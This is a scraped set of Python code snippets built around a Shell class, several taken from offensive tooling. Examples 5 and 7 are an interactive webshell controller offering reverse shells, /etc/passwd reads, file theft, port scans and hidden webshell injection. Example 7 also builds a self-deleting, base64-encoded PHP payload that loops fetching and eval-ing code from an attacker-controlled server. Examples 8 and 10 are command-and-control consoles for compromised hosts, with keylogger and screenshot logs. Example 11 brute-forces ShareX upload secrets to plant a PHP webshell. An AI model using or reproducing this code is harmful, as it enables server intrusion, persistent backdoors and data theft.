Exemple #1
0
    def __init__(self):
        Shell.__init__(self)
        self.update_prompt("~")

        self.abspath = os.path.dirname(os.path.abspath(__file__))
        self.modules = {}
        self.module_names = []
        self.log = Log()

        self.initiate_modules()
        self.module = None
Exemple #2
0
def connect_server(argv, hostname, port):
    """
    连接远程服务器
    :param argv: 包含用户认证信息
    :param hostname: 主机地址
    :param port: 主机端口
    :return:
    """
    username = argv.username
    password = argv.password
    shell = Shell(hostname=hostname, port=port, username=username, password=password)
    shell.run()
Exemple #3
0
 def init(self, config, cli):
     self.sync = Sync(config)
     self.secret_key = Utils.gen_str(32)
     self.session = session
     self.request = request
     self.internal_config = config
     self.redis = self.internal_config.get("redis")
     self.shell = Shell(self.redis)
     self.cli = cli
     self.active_users = []
     self.msgs = []
     self.cmds = []
     self.username = ""
     self.command = ""
Exemple #4
0
    def __init__(self, config):
        self.cmds = dict()
        self.cmds["exit"] = self.exit_cli
        self.cmds["list"] = self.list_clients
        self.cmds["interact"] = self.interact
        self.cmds["show"] = self.view_event
        self.cmds["help"] = self.show_help
        self.cmds["kill"] = self.kill_shell
        self.cmds["purge"] = self.flushdb
        self.cmds["os"] = self.os_shell
        self.config = config
        self.db = self.config.get("redis")
        self._prompt = "Main"
        self.guid = ""
        self.alias = Alias()
        self.shell = Shell(self.db, True)
        self.completer = Completer(self.cmds)

        readline.parse_and_bind("tab:complete")
        readline.set_completer(self.completer.complete)
        start_cmd_sync(config)
Exemple #5
0
def main():
    banner()
    if len(sys.argv) != 4:
        show_help()
        exit(1)
    url = sys.argv[1]
    method = sys.argv[2]
    password = sys.argv[3]
    webshell = WebShell(url, method, password)
    LOCAL_COMMAND_FLAG = True
    if not webshell.working:
        Log.error("The webshell cannot work...")
        exit(2)

    main_help()

    while True:
        Log.context("sniper")
        context_fresh = raw_input("=>") or "h"
        context = string.lower(context_fresh)
        if context == "h" or context == "help" or context == "?":
            main_help()
        elif context == "sh" or context == "shell":
            shell = Shell(webshell)
            shell.interactive()
        elif context == "rsh" or context == "rshell":
            Log.info("socat file:`tty`,raw,echo=0 tcp-l:8888")
            ip = raw_input("[IP] : (%s)" %
                           (get_ip_address())) or get_ip_address()
            port = raw_input("[PORT] : (8888)") or "8888"
            Log.info("Starting reverse shell (%s:%s)" % (ip, port))
            webshell.reverse_shell(ip, port)
        elif context == "p" or context == "print":
            webshell.print_info()
        elif context == "pv" or context == "php_version":
            webshell.get_php_version()
        elif context == "kv" or context == "kernel_version":
            webshell.get_kernel_version()
        elif context == "c" or context == "config":
            Log.info("Detacting config files...")
            webshell.get_config_file()
        elif context == "fwd":
            webshell.get_writable_directory()
        elif context == "gdf":
            webshell.get_disabled_functions()
        elif context == "fwpf":
            webshell.get_writable_php_file()
        elif context == "fsb":
            webshell.get_suid_binaries()
        elif context == "setr":
            LOCAL_COMMAND_FLAG = False
        elif context == "setl":
            LOCAL_COMMAND_FLAG = True
        elif context == "dla":
            path = raw_input(
                "Input path (%s) : " % webshell.webroot) or (webshell.webroot)
            args = raw_input("Please custom find args (%s) : " %
                             (" -size 500k")) or " -size 500k"
            Log.info("Using command : find %s %s" % (path, args))
            webshell.download_advanced(path, args)
        elif context == "dl":
            path = raw_input(
                "Input path (%s) : " % webshell.webroot) or (webshell.webroot)
            if not webshell.file_exists(path):
                Log.error("The file [%s] is not exists on the server!" %
                          (path))
                continue
            if webshell.is_directory(path):
                Log.info(
                    "The target file is a directory, using recursion download..."
                )
                filename_filter = raw_input("Input --name '%s' : " %
                                            ("*.php")) or "*.php"
                webshell.download_recursion(path, filename_filter)
            else:
                #filename = path.split("/")[-1]
                #local_path = raw_input("Input local path (%s) to save the file : " % filename) or (filename)
                # Log.info("Using root path : [%s] to save!" % (local_path))
                Log.info(
                    "The target file is a single file, starting download...")
                webshell.download(path, path)
        elif context == "ps":
            hosts = raw_input(
                "Input hosts (192.168.1.1/24) : ") or "192.168.1.1/24"
            if not "/" in hosts:
                Log.error(
                    "Please use the format IP/MASK , if want to scan a single host , set MASK=32"
                )
                continue
            ports = raw_input("Input ports (21,22,25,80,443,445,3389)"
                              ) or "21,22,25,80,443,445,3389"
            webshell.port_scan(hosts, ports)
        elif context == "aiw":
            default = random_string(0x10, string.letters)
            filename = raw_input("Filename (.%s.php): " %
                                 (default)) or (".%s.php" % (default))
            password = raw_input("Password (%s): " % (default)) or ("%s" %
                                                                    (default))
            webshell.auto_inject_webshell(filename, password)
        elif context == "r" or context == "read":
            filepath = raw_input(
                "Input file path (/etc/passwd) : ") or "/etc/passwd"
            webshell.read_file(filepath)
        elif context == "db" or context == "database":
            ip = raw_input("IP (127.0.0.1): ") or "127.0.0.1"
            username = raw_input("Username (root): ") or "root"
            password = raw_input("Password (root): ") or "root"
            Log.info("Creating connection by [%s:%s] to [%s]..." %
                     (username, password, ip))
            mysql_connection = Mysql(webshell, ip, username, password)
            if not mysql_connection.function:
                Log.error("The target server cannot support mysql!")
                continue
            if not mysql_connection.connection_flag:
                Log.error("Connection failed!")
                continue
            Log.success("Connection success!")
            if mysql_connection.function != "":
                Log.success("Entering database server interactive mode...")
                mysql_connection.interactive()
            else:
                Log.error("No supported database function!")
        elif context == "q" or context == "quit" or context == "exit":
            Log.info("Quiting...")
            break
        else:
            Log.error("Unsupported function!")
            if LOCAL_COMMAND_FLAG == True:
                Log.info("Executing command on localhost...")
                os.system(context_fresh)
            else:
                Log.info("Executing command on target server...")
                webshell.auto_exec_print(context_fresh)
Exemple #6
0
 def check(shell_url):
     """ Check if exploit is working """
     output = Shell.execute(shell_url, f'echo {Exploit.MAGIC}')
     return Exploit.MAGIC in output
Exemple #7
0
def main():
    banner()
    if len(sys.argv) != 4:
        show_help()
        exit(1)
    url = sys.argv[1]
    method = sys.argv[2]
    password = sys.argv[3]
    webshell = WebShell(url, method, password)
    LOCAL_COMMAND_FLAG = True
    if not webshell.working:
        Log.error("The webshell cannot work...")
        exit(2)

    Log.info("recording this webshell to the log file...")
    with open("Webshell.txt", "a+") as f:
        log_content = "%s => %s => %s\n" % (url, method, password)
        f.write(log_content)

    main_help()

    while True:
        Log.context("sniper")
        context_fresh = raw_input("=>") or "h"
        context = string.lower(context_fresh)
        if context == "h" or context == "help" or context == "?":
            main_help()
        elif context == "sh" or context == "shell":
            shell = Shell(webshell)
            shell.interactive()
        elif context == "rsh" or context == "rshell":
            Log.info("socat file:`tty`,raw,echo=0 tcp-l:8888")
            ip = raw_input("[IP] : (%s)" %
                           (get_ip_address())) or get_ip_address()
            port = raw_input("[PORT] : (8888)") or "8888"
            Log.info("Starting reverse shell (%s:%s)" % (ip, port))
            webshell.reverse_shell(ip, port)
        elif context == "p" or context == "print":
            webshell.print_info()
        elif context == "pv" or context == "php_version":
            Log.success(webshell.get_php_version())
        elif context == "kv" or context == "kernel_version":
            Log.success(webshell.get_kernel_version())
        elif context == "c" or context == "config":
            Log.info("Detacting config files...")
            webshell.get_config_file()
        elif context == "fwd":
            webshell.get_writable_directory()
        elif context == "gdf":
            webshell.get_disabled_functions()
        elif context == "fwpf":
            webshell.get_writable_php_file()
        elif context == "fsb":
            webshell.get_suid_binaries()
        elif context == "setr":
            LOCAL_COMMAND_FLAG = False
        elif context == "setl":
            LOCAL_COMMAND_FLAG = True
        elif context == "dla":
            path = raw_input(
                "Input path (%s) : " % webshell.webroot) or (webshell.webroot)
            args = raw_input("Please custom find args (%s) : " %
                             (" -size 500k")) or " -size 500k"
            Log.info("Using command : find %s %s" % (path, args))
            webshell.download_advanced(path, args)
        elif context == "dl":
            path = raw_input(
                "Input path (%s) : " % webshell.webroot) or (webshell.webroot)
            if not webshell.file_exists(path):
                Log.error("The file [%s] is not exists on the server!" %
                          (path))
                continue
            if webshell.is_directory(path):
                Log.info(
                    "The target file is a directory, using recursion download..."
                )
                filename_filter = raw_input("Input --name '%s' : " %
                                            ("*.php")) or "*.php"
                webshell.download_recursion(path, filename_filter)
            else:
                #filename = path.split("/")[-1]
                #local_path = raw_input("Input local path (%s) to save the file : " % filename) or (filename)
                # Log.info("Using root path : [%s] to save!" % (local_path))
                Log.info(
                    "The target file is a single file, starting download...")
                webshell.download(path, path)
        elif context == "ps":
            hosts = raw_input(
                "Input hosts (192.168.1.1/24) : ") or "192.168.1.1/24"
            if not "/" in hosts:
                Log.error(
                    "Please use the format IP/MASK , if want to scan a single host , set MASK=32"
                )
                continue
            ports = raw_input("Input ports (21,22,25,80,443,445,3389)"
                              ) or "21,22,25,80,443,445,3389"
            webshell.port_scan(hosts, ports)
        elif context == "aiw":
            default_filename = random_string(0x10, string.letters)
            default_password = md5(
                md5("%s%s%s" % (salt, default_filename, salt)))
            filename = raw_input("Filename (.%s.php): " %
                                 (default_filename)) or (".%s.php" %
                                                         (default_filename))
            password = raw_input("Password (%s): " %
                                 (default_password)) or ("%s" %
                                                         (default_password))
            webshell.auto_inject_webshell(filename, password)
        elif context == "aimw":
            default_filename = random_string(0x10, string.letters)
            default_password = md5(
                md5("%s%s%s" % (salt, default_filename, salt)))
            filename = raw_input("Filename (.%s.php): " %
                                 (default_filename)) or (".%s.php" %
                                                         (default_filename))
            password = raw_input("Password (%s): " %
                                 (default_password)) or ("%s" %
                                                         (default_password))
            webshell.auto_inject_memery_webshell(filename, password)
        elif context == "fr":
            Log.info("Starting flag reaper...")
            webserver_host = raw_input("[IP] (%s) : " %
                                       (get_ip_address())) or get_ip_address()
            webserver_port = int(raw_input("[PORT] (80) : ") or "80")
            filename = ".%s.php" % (random_string(0x10, string.letters))
            file_content = "ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);while(true){$code = file_get_contents('http://%s:%d/code.txt');eval($code);sleep(5);}" % (
                webserver_host, webserver_port)
            Log.info("Temp memory phpfile : %s" % (file_content))
            Log.info("Encoding phpfile...")
            file_content = '<?php unlink(__FILE__);eval(base64_decode("%s"));?>' % (
                file_content.encode("base64").replace("\n", ""))
            Log.info("Final memory phpfile : %s" % (file_content))
            result = webshell.auto_inject_flag_reaper(filename, file_content)
            if result:
                Log.success(
                    "Please check the web server(%s:%d) log to get your flag!"
                    % (webserver_host, webserver_port))
                Log.info("Tips : tail -f /var/log/apache2/access.log")
            else:
                Log.error("Starting flag reaper failed!")
        elif context == "r" or context == "read":
            filepath = raw_input(
                "Input file path (/etc/passwd) : ") or "/etc/passwd"
            webshell.read_file(filepath)
        elif context == "db" or context == "database":
            ip = raw_input("IP (127.0.0.1): ") or "127.0.0.1"
            username = raw_input("Username (root): ") or "root"
            password = raw_input("Password (root): ") or "root"
            Log.info("Creating connection by [%s:%s] to [%s]..." %
                     (username, password, ip))
            mysql_connection = Mysql(webshell, ip, username, password)
            if not mysql_connection.function:
                Log.error("The target server cannot support mysql!")
                continue
            if not mysql_connection.connection_flag:
                Log.error("Connection failed!")
                continue
            Log.success("Connection success!")
            if mysql_connection.function != "":
                Log.success("Entering database server interactive mode...")
                mysql_connection.interactive()
            else:
                Log.error("No supported database function!")
        elif context == "q" or context == "quit" or context == "exit":
            Log.info("Quiting...")
            break
        else:
            Log.error("Unsupported function!")
            if LOCAL_COMMAND_FLAG == True:
                Log.info("Executing command on localhost...")
                os.system(context_fresh)
            else:
                Log.info("Executing command on target server...")
                webshell.auto_exec_print(context_fresh)
Exemple #8
0
class FlaskFactory(Flask):
    def init(self, config, cli):
        self.sync = Sync(config)
        self.secret_key = Utils.gen_str(32)
        self.session = session
        self.request = request
        self.internal_config = config
        self.redis = self.internal_config.get("redis")
        self.shell = Shell(self.redis)
        self.cli = cli
        self.active_users = []
        self.msgs = []
        self.cmds = []
        self.username = ""
        self.command = ""
        self.debug = False
        if self.internal_config.get("debug-mode").lower() == "on":
            self.debug = True

    def auth(self):
        if "authenticated" in self.session:
            return True
        return False

    def get_user(self):
        if "username" in self.session:
            return self.session["username"]
        return "unknown"

    def set_user(self):
        password = request.form["password"].strip().encode("utf-8")
        self.session["authenticated"] = True
        self.session["uid"] = Utils.guid()
        self.session["username"] = escape(request.form["username"].strip())
        self.session["password"] = hashlib.sha512(password).hexdigest()
        self.active_users.append(self.session["username"])
        Log.log_event("User Login", "%s" % str(self.session["username"]))
        self.redis.append_server_events(
            "\n[%s] User Login: %s" %
            (Utils.timestamp(), str(self.session["username"])))

    def post_login(self):
        if request.form["username"].strip() in self.active_users:
            return -1
        if self.request.form["password"].strip() == self.internal_config.get(
                "server-password"):
            self.set_user()
            return True
        return False

    def get_username(self):
        return self.session["username"]

    def get_password(self):
        return self.session["password"]

    def logout(self):
        self.active_users.remove(str(self.session["username"]))
        Log.log_event("User Logout", "%s" % str(self.session["username"]))
        self.session.pop("username")
        self.session.pop("authenticated")

    def send_msg(self, msg):
        self.msgs.append(msg)
        return ""

    def get_msgs(self):
        return self.msgs

    def hook_shell(self, id):
        uid = self.session["uid"]
        return self.redis.add_active_user(uid, id)

    def unhook_shell(self, id):
        uid = self.session["uid"]
        return self.redis.remove_active_user(uid, id)

    def send_cmd(
        self,
        id,
        cmd,
        username,
    ):
        output, cmd = self.shell.evalute_cmd(cmd)
        cmd_guid = Utils.guid()
        self.redis.append_shell_data(
            id, "[%s] %s - Sending command: %s\n%s\n\n" %
            (Utils.timestamp(), username, output, cmd))
        Log.log_shell(id,
                      "- Sending command",
                      "%s\n%s" % (output, cmd),
                      username=username)
        if not cmd == "":
            self.redis.push_cmd(id, cmd, cmd_guid, username)
        return json.dumps({"output": output})

    def html_escape(self, data):
        html_escape_table = {
            "&": "&amp;",
            "\"": "&quot;",
            "'": "&apos;",
            ">": "&gt;",
            "<": "&lt;"
        }
        return "".join(html_escape_table.get(c, c) for c in data)

    def get_output(self, id):
        return self.sync.get_cmd_output(self.session["uid"], id)

    def get_input(self, id):
        return self.sync.get_cmd_send(self.session["uid"], id)

    def get_ip(self):
        host = self.internal_config.get("http-host")
        return host

    def get_port(self):
        port = self.internal_config.get("http-port")
        return port

    def get_events(self):
        return self.redis.get_server_events().decode()

    def get_log_date(self, name):
        dates = fnmatch.filter(os.listdir(os.getcwd() + "/logs/"), "*-*-*")
        self.log_dates = []
        logs = ["event", "http", "error", "chat", "shell", "keylogger"]
        for date in dates:

            if name == "screenshot":
                file_name = fnmatch.filter(
                    os.listdir("%s/logs/%s" % (os.getcwd(), date)), "*.png")
                if file_name:
                    if date not in self.log_dates:
                        self.log_dates.append(date)

            if name in logs:
                file_name = fnmatch.filter(
                    os.listdir("%s/logs/%s" % (os.getcwd(), date)),
                    "%s*.log" % name)
                if file_name:
                    if date not in self.log_dates:
                        self.log_dates.append(date)

        return sorted(self.log_dates,
                      key=lambda d: list(map(int, d.split("-"))))

    def get_log_names(self, log_type):
        logs = ["shell", "keylogger", "screenshot"]
        log_info = dict()
        for date in self.log_dates:
            if log_type in logs:
                if log_type == "screenshot":
                    file_names = fnmatch.filter(
                        os.listdir("%s/logs/%s" % (os.getcwd(), date)),
                        "%s_*.png" % log_type)
                    if file_names:
                        for file_name in file_names:
                            log_info[file_name] = date
                else:
                    file_names = fnmatch.filter(
                        os.listdir("%s/logs/%s" % (os.getcwd(), date)),
                        "%s_*.log" % log_type)
                    if file_names:
                        for file_name in file_names:
                            log_info[file_name] = date
        return log_info

    def get_log_data(self, date, name):
        logs = [
            "event", "http", "error", "chat", "screenshots", "shells",
            "keylogger", "downloads"
        ]

        if name == "dashboard":
            try:
                path = "%s/logs/%s/event.log" % (os.getcwd(), date)
                return open(path, "r").read()
            except:
                return "No recent activity"
        elif "screenshot_" in name:
            try:
                path = "%s/logs/%s/%s" % (os.getcwd(), date, name)
                b64_str = base64.b64encode(open(path, "rb").read())
                return b64_str
            except:
                return "No recent activity."
        elif name in logs:
            try:
                path = "%s/logs/%s/%s.log" % (os.getcwd(), date, name)
                return open(path, "r").read()
            except:
                return "No recent activity."
        else:
            try:
                path = "%s/logs/%s/%s" % (os.getcwd(), date, name)
                return open(path, "r").read()
            except:
                return "No recent activity."

    def get_screenshots(self, id):
        screenshots = []
        path = os.walk("%s/logs/" % (os.getcwd()))
        for root, directories, file_names in path:
            screenshots_id = "%s.png" % id
            for file_name in file_names:
                if screenshots_id in file_name:
                    if file_name not in screenshots:
                        screenshots.append(os.path.join(root, file_name))
        return screenshots

    def get_screenshot(self, date, name):
        path = "%s/logs/%s/%s" % (os.getcwd(), date, name)
        b64_str = base64.b64encode(open(path, "rb").read())
        return b64_str

    def get_shells(self):
        shells_list = []
        shells = self.redis.get_all_shells()
        for shell in shells:
            shell = shell.decode()
            prompt = self.redis.get_prompt(shell.split(":")[0]).decode()
            shell_info = {
                "shell_ip": shell.split(":")[2].encode(),
                "shell_id": shell.split(":")[0].encode(),
                "shell_prompt": prompt.split(" ")[1].encode(),
                "shell_prompt_full": prompt.encode(),
                "shell_hostname": prompt.split(" ")[0].encode(),
                "shell_timestamp": self.redis.get_data(shell),
            }
            shells_list.append(shell_info)
            try:
                shells_list = sorted(
                    shells_list,
                    key=lambda shell_info: shell_info["shell_timestamp"],
                    reverse=True)
            except TypeError:
                pass
            #print(shells_list)
        return shells_list

    def get_shell_domain(self, id):
        domain = self.redis.get_prompt(id).split(" ")[1].split("\\")[0]
        return domain

    def get_shell_hostname(self, id):
        hostname = self.redis.get_prompt(id).split(" ")[0]
        return hostname

    def get_shell_user(self, id):
        user = self.redis.get_prompt(id).split(" ")[1].split("\\")[1]
        return user

    def get_payload_name(self):
        return self.internal_config.get("http-download-path")

    def get_payload_url(self):
        return self.internal_config.get("callback-url")

    def get_protocol(self):
        if self.internal_config.get("https-enabled") == "on":
            return "https://"
        else:
            return "http://"

    def get_keylogger(self, id):
        return self.redis.get_keylogger_data(id)

    def get_shell(self, id):
        return self.redis.get_shell_data(id)

    def get_session_uid(self):
        return self.session["uid"]

    def delete_shell(self, id, username):
        shells = self.redis.get_all_shells()
        self.send_cmd(id, "exit", username)
        for shell in shells:
            shell = shell.decode()
            if id in shell:
                return self.redis.delete_entry(shell)

    def get_gui_host(self):
        return self.internal_config.get("gui-host")

    def get_gui_port(self):
        return self.internal_config.get("gui-port")

    def get_gui_password(self):
        return self.internal_config.get("server-password")
Exemple #9
0
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import os
import re
import json
import requests
import itertools

from core.shell import Shell

if __name__ == '__main__':
    shell = Shell()
    shell.run()
Exemple #10
0
class Cli:
    def __init__(self, config):
        self.cmds = dict()
        self.cmds["exit"] = self.exit_cli
        self.cmds["list"] = self.list_clients
        self.cmds["interact"] = self.interact
        self.cmds["show"] = self.view_event
        self.cmds["help"] = self.show_help
        self.cmds["kill"] = self.kill_shell
        self.cmds["purge"] = self.flushdb
        self.cmds["os"] = self.os_shell
        self.config = config
        self.db = self.config.get("redis")
        self._prompt = "Main"
        self.guid = ""
        self.alias = Alias()
        self.shell = Shell(self.db, True)
        self.completer = Completer(self.cmds)

        readline.parse_and_bind("tab:complete")
        readline.set_completer(self.completer.complete)
        start_cmd_sync(config)

    def set_prompt(self, prompt):
        self._prompt = prompt

    def prompt(self):
        return UI.prompt(self._prompt)

    def set_guid(self, guid):
        self.guid = guid

    def set_interact(self, guid):
        self.guid = guid

    def parse_cmd(self, data):
        cmd = data.split(" ", 1)[0].lower()
        if not self.guid == "":
            if cmd == "background":
                self._prompt = "Main"
                self.db.remove_active_user(self.config.get("uid"), self.guid)
                self.guid = ""
            elif cmd == "exit":
                UI.error("*** You really want to kill this shell *** (yes/no)")
                if UI.prompt("Exit").lower() == "yes":
                    self.db.push_cmd(self.guid, "exit", Utils.guid(),
                                     self.config.get("username"))
                    self._prompt = "Main"
                    self.guid = ""
            else:
                self.db.append_shell_data(
                    self.guid, "[%s] %s - Sending command: \n%s\n\n" %
                    (Utils.timestamp(), self.config.get("username"), data))
                Log.log_shell(self.guid, "- Sending command", data,
                              self.config.get("username"))
                data = self.shell.evalute_cmd(data)
                print(data[0])

                if not (cmd == "help" or data[1] == ""):
                    self.db.push_cmd(self.guid, data[1], Utils.guid(),
                                     self.config.get("username"))
        else:
            # interacting with the main console
            if cmd in self.cmds:
                callback = self.cmds[cmd]
                callback(data)
            elif not cmd.strip() == "":
                UI.error("%s is not a valid command" % cmd)

    def exit_cli(self, data):
        os._exit(0)

    def list_clients(self, data):
        print("""List of active shells\n""" + "-" * 21 + "\n")
        for shell in self.db.get_all_shells():
            guid = shell.decode().split(":")[0]
            timestamp = self.db.get_data(shell)
            prompt = ""
            id = ""
            try:
                prompt = self.db.get_data("%s:prompt" % guid).decode()
                id = self.db.get_data("%s:id" % guid).decode()
            except:
                pass
            if not id == "":
                if Utils.get_arg_at(data, 1, 2) == "full":
                    print("  %s\t%s %s last seen %s" %
                          (id, prompt, guid, timestamp.decode()))
                else:
                    print("  %s\t%s" % (id, prompt))

    def interact(self, data):
        current_id = Utils.get_arg_at(data, 1, 2)
        guid = ""
        for shell in self.db.get_all_shell_id():
            id = self.db.get_data(shell).decode()
            if current_id == id:
                guid = shell.decode().split(":")[0]
                break
        if not guid == "":
            self.completer = Completer(self.shell.get_cmd())
            readline.set_completer(self.completer.complete)
            readline.parse_and_bind("tab: complete")
            self.guid = guid
            self.db.add_active_user(self.config.get("uid"), self.guid)
            self._prompt = self.db.get_data("%s:prompt" % guid).decode()
        else:
            UI.error("Invalid session ID")

    def view_event(self, data):
        log_path = Utils.get_arg_at(data, 1, 2)
        if log_path == "":
            UI.error("Missing arguments")
            return

        if log_path == "key":
            UI.warn("Your encryption key is %s" %
                    self.config.get("encryption-key"))
            return

        if log_path == "password":
            UI.warn("Your server password is %s" %
                    self.config.get("server-password"))
            return

        if not log_path in ("http", "event", "error"):
            UI.error("Invalid path")
            return

        log_path += ".log"

        rows = Utils.get_arg_at(data, 2, 2)
        if rows == "":
            rows = 10
        else:
            try:
                rows = int(rows)
            except:
                rows = 10

        log_path = Log.get_current_path(log_path)
        data = []
        if Utils.file_exists(log_path):
            for line in open(log_path, "rb").readlines():
                data.append(line)
            data = list(reversed(data))
            print("""Last %d lines of log\n----------------------""" % rows)
            data = list(data)
            for i in range(0, rows):
                try:
                    print(data[i].decode().strip())
                except:
                    pass

    def flushdb(self, data):
        force = Utils.get_arg_at(data, 1, 1)
        if force:
            self.db.flushdb()
            UI.error("The whole redis DB was flushed")
        else:
            UI.error("Please use the force switch")

    def os_shell(self, data):
        cmd = Utils.get_arg_at(data, 1, 1)
        print("""Executing: %s\n----------------------""" % cmd)
        try:
            output = subprocess.check_output(cmd,
                                             stderr=subprocess.PIPE,
                                             shell=True)
        except:
            UI.error("Command failed to execute properly")
            output = bytearray()
        print(output.decode())

    def kill_shell(self, data):
        current_id = Utils.get_arg_at(data, 1, 2)
        guid = ""
        for shell in self.db.get_all_shell_id():
            id = self.db.get_data(shell).decode()
            if current_id == id:
                guid = shell.decode().split(":")[0]
                break
        if not guid == "":
            self.db.delete_all_by_guid(guid)
            print("Deleting shell with ID %s" % current_id)
        else:
            UI.error("Invalid session ID")

    def show_help(self, data):
        print("""Help Menu\n""" + "=" * 9)
        print("\n" + tabulate(
            {
                "Commands": [
                    "list",
                    "interact",
                    "show",
                    "kill",
                    "os",
                    "purge",
                    "exit",
                    "help",
                ],
                "Args": [
                    "full",
                    "id",
                    "(password,key,error,http,event) rows",
                    "id",
                    "command",
                    "force",
                    "",
                    "",
                ],
                "Descriptions": [
                    "List all active shells",
                    "Interact with a session",
                    "Show server password, encryption key, errors, http or events log (default number of rows 10)",
                    "kill shell (clear db only)",
                    "Execute command on the system (local)",
                    "WARNING! Delete all the Redis DB",
                    "Exit the application",
                    "Show this help menu",
                ]
            },
            headers="keys",
            tablefmt="simple"))
Exemple #11
0
def main():
    if os.name == 'nt':
        import colorama
        colorama.init(convert=True)

    Banner.print()

    Logger.warning('use with caution. you are responsible for your actions')
    Logger.warning(
        'developer assume no liability and is not responsible for any misuse or damage'
    )

    Logger.empty_line()

    parser = argparse.ArgumentParser(usage='%(prog)s [options]')
    parser.error = Logger.error

    parser.add_argument('-v',
                        '--verbose',
                        help='verbose',
                        dest='verbose',
                        action='store_true')
    parser.add_argument('-s',
                        '--secret',
                        help='sharex secret key',
                        dest='secret',
                        metavar='')
    parser.add_argument('--form-name',
                        help='multipart file form name',
                        dest='form_name',
                        metavar='',
                        default='sharex')
    parser.add_argument('--field-name',
                        help='sharex secret key post data field name',
                        dest='field_name',
                        metavar='',
                        default='secret')
    parser.add_argument('--no-cache',
                        help='disable cache',
                        dest='cache_enabled',
                        action='store_false')

    mandatory_group = parser.add_argument_group('mandatory arguments')
    mandatory_group.add_argument('-u',
                                 '--url',
                                 help='target url',
                                 dest='url',
                                 metavar='',
                                 required=True)

    brute_group = parser.add_argument_group('brute force arguments')
    brute_group.add_argument('--brute-endpoint',
                             help='brute force file upload endpoint',
                             dest='brute_endpoint',
                             action='store_true')
    brute_group.add_argument('--brute-secret',
                             help='brute force sharex secret key',
                             dest='brute_secret',
                             action='store_true')
    brute_group.add_argument(
        '--brute-field',
        help='brute force sharex secret key post data field name',
        dest='brute_field',
        action='store_true')
    brute_group.add_argument('--brute-form',
                             help='brute force multipart file form name',
                             dest='brute_form',
                             action='store_true')

    if len(sys.argv) == 1:
        parser.print_help()
        return

    args = parser.parse_args()

    if not Validate.url(args.url):
        Logger.error(f'invalid url: {args.url}')

    if not Validate.active_url(args.url):
        Logger.error('target is offline')

    Logger.success('target is online')

    cached_shell_url = Cache.get(args.url) if args.cache_enabled else None

    if cached_shell_url is not None:
        Logger.info('shell url fetched from cache')
        shell_url = cached_shell_url['shell_url']
    else:
        url = args.url
        field_name = args.field_name
        secret = args.secret
        form_name = args.form_name

        if args.brute_endpoint:
            if args.verbose:
                Logger.info('brute forcing endpoint...')

            url = Brute.endpoint(url)

            if url is None:
                Logger.error('endpoint not found')

            Logger.success(f'endpoint found: \x1b[95m{url}')

        if Brute.is_required(
                url
        ):  # checks if it's necessary to brute force secret key POST data field name and secret key
            if args.brute_field:
                if args.verbose:
                    Logger.info('brute forcing secret key field name...')

                field_name = Brute.field_name(url)

                if field_name is None:
                    Logger.error('field name not found')

                Logger.success(f'field name found: \x1b[95m{field_name}')

            if args.brute_secret:
                if args.verbose:
                    Logger.info('brute forcing secret key...')

                secret = Brute.secret(url, field_name)

                if secret is None:
                    Logger.error('secret not found')

                Logger.success(f'secret found: \x1b[95m{secret}')

        if args.brute_form:
            if args.verbose:
                Logger.info('brute forcing multipart form name...')

            form_name = Brute.form_name(url, secret, field_name)

            if form_name is None:
                Logger.error('form name not found')

            Logger.success(f'form name found: \x1b[95m{form_name}')

        if args.verbose:
            Logger.info('attempting to upload php web shell...')

        try:
            shell_url = Exploit.upload_shell(
                url, form_name, secret, field_name, args.verbose,
                args.cache_enabled
            )  # program will exit if an error occurs (shell_url cannot be None)
        except Exception:
            Logger.error(
                f'an error occurred while attempting to upload php web shell on target site'
            )

    Shell.command_line(shell_url)